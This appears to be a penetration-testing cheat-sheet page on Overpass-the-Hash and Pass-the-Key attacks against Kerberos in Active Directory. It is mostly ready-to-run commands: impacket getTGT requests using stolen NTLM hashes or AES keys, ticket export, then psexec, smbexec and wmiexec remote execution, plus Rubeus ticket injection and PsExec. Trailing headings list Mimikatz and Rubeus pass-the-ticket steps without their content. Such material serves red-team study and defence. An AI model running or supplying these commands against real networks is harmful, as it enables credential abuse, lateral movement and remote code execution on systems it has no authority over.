Overpass The Hash/Pass The Key (PTK)
Overpass The Hash/Pass The Key (PTK)
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py rastalabs.local/jack@10.10.10.1 -k -no-pass
python smbexec.py rastalabs.local/jack@10.10.10.1 -k -no-pass
python wmiexec.py rastalabs.local/jack@10.10.10.1 -k -no-pass# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmdPass the Ticket - Mimikatz
Export All Tickets
Import .kirbi Ticket
Pass the Ticket - Rubeus
Dump Tickets
Request TGT and Inject (Pass the Key / OverPass the Hash)
Import .kirbi
Create Sacrificial Logon Session + PtT
PtT with PowerShell Remoting
Convert .kirbi to Base64
Last updated